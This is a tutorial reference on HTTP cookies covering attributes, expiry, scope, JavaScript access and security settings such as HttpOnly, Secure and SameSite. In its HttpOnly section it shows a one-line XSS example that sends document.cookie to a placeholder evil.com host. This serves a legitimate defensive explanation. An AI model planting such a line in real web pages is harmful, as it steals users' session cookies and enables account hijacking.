Cookies

Cookies are small pieces of data stored in the browser, sent with every HTTP request to the same domain.

How Cookies Work

1. Server sends Set-Cookie header
   HTTP/1.1 200 OK
   Set-Cookie: session=abc123; Path=/; HttpOnly

2. Browser stores cookie
   ┌─────────────────────────────────────┐
   │ Domain: example.com                 │
   │ Name: session                       │
   │ Value: abc123                       │
   │ Path: /                             │
   │ HttpOnly: true                      │
   └─────────────────────────────────────┘

3. Browser sends cookie with subsequent requests
   GET /dashboard HTTP/1.1
   Host: example.com
   Cookie: session=abc123

Cookie Types

Type	Purpose	Lifetime
Session	Temporary, lost when browser closes	Session
Persistent	Survives browser restart	Explicit expiry
First-party	Set by the domain you're visiting	Varies
Third-party	Set by a different domain (ads, tracking)	Varies

Cookie Uses

• Authentication: Maintain login state
• Preferences: Theme, language settings
• Tracking: User behavior analytics
• Shopping Cart: E-commerce cart contents
• Session Management: Server-side session ID

Cookie Limitations

• Size: ~4KB per cookie
• Quantity: ~50 per domain
• Sent with every request: Adds overhead
• Visible to JavaScript (unless HttpOnly)

JavaScript Access

// Read cookies
console.log(document.cookie); // "session=abc123; theme=dark"

// Set cookie
document.cookie = "theme=dark; path=/; max-age=86400";

// Delete cookie (set expiry to past)
document.cookie = "theme=; path=/; max-age=0";

Cookies have several properties that control their behavior.

Cookie Attributes

Attribute	Purpose	Example
Name	Cookie identifier	session
Value	Cookie data	abc123
Domain	Which domains receive cookie	.example.com
Path	URL path scope	/api
Expires	Absolute expiry date	Thu, 01 Dec 2025
Max-Age	Relative expiry (seconds)	86400 (1 day)
Secure	Only send over HTTPS	Secure
HttpOnly	No JavaScript access	HttpOnly
SameSite	CSRF protection	Strict, Lax, None

Set-Cookie Examples

// Basic cookie
Set-Cookie: theme=dark

// With path scope
Set-Cookie: session=abc123; Path=/api

// With expiry (persistent)
Set-Cookie: preferences=xyz; Max-Age=2592000; Path=/

// Secure + HttpOnly (auth cookies)
Set-Cookie: token=eyJhbGci...; Secure; HttpOnly; SameSite=Strict; Path=/

// SameSite=None (requires Secure)
Set-Cookie: tracking=abc; SameSite=None; Secure; Max-Age=31536000

SameSite Attribute

SameSite=Strict  // Never sent with cross-site requests
SameSite=Lax     // Sent with top-level navigation (default)
SameSite=None    // Sent with all requests (requires Secure)

Cookie Expiry

// Session cookie (deleted when browser closes)
Set-Cookie: temp=value

// Persistent cookie (expires in 7 days)
Set-Cookie: remember=me; Max-Age=604800

// Expires on specific date
Set-Cookie: expires=2025-12-31; Expires=Wed, 31 Dec 2025 23:59:59 GMT

// Delete cookie
Set-Cookie: temp=; Max-Age=0

Cookie Scope

// Domain scope
Set-Cookie: a=1; Domain=.example.com      // All subdomains
Set-Cookie: b=2; Domain=example.com       // Only exact domain

// Path scope
Set-Cookie: c=3; Path=/api                // Only /api/*
Set-Cookie: d=4; Path=/                   // All paths

Proper cookie configuration is critical for web security.

Security Best Practices

// Auth cookies - maximum security
Set-Cookie: session=abc123;
  Secure;        // HTTPS only
  HttpOnly;      // No JS access
  SameSite=Strict; // No cross-site
  Path=/;        // All paths
  Max-Age=3600;  // 1 hour expiry

// Preferences - less sensitive
Set-Cookie: theme=dark;
  Secure;
  SameSite=Lax;
  Path=/;
  Max-Age=2592000  // 30 days

Common Attacks

Attack	Protection
XSS	HttpOnly flag
CSRF	SameSite attribute
Session Hijacking	Secure + HttpOnly + short expiry
Cookie Theft	HTTPS + HttpOnly

HttpOnly

// Without HttpOnly - XSS can steal cookies
fetch('https://evil.com/steal?cookie=' + document.cookie);

// With HttpOnly - JavaScript can't access cookie
// document.cookie returns empty string
// Server still sends cookie with requests

SameSite

// Without SameSite - CSRF possible
// Attacker's site can submit forms that include your cookies

// With SameSite=Strict
// Cookies never sent with cross-site requests
// Good for banking, sensitive operations

// With SameSite=Lax (default)
// Cookies sent with top-level navigation (GET)
// Blocked for cross-site POST, iframes

Secure Flag

// Without Secure
// Cookie sent over HTTP and HTTPS
// Can be intercepted on HTTP

// With Secure
// Cookie only sent over HTTPS
// Prevents network interception

JavaScript Cookie Library

// Set cookie with all security flags
document.cookie = [
  'session=abc123',
  'Path=/',
  'Secure',
  'HttpOnly',  // Note: Can't set via JS, must be server-side
  'SameSite=Strict',
  'Max-Age=3600'
].join('; ');

// Better: Use a library like js-cookie
import Cookies from 'js-cookie';

Cookies.set('session', 'abc123', {
  secure: true,
  sameSite: 'strict',
  expires: 1/24  // 1 hour
});

const session = Cookies.get('session');
Cookies.remove('session');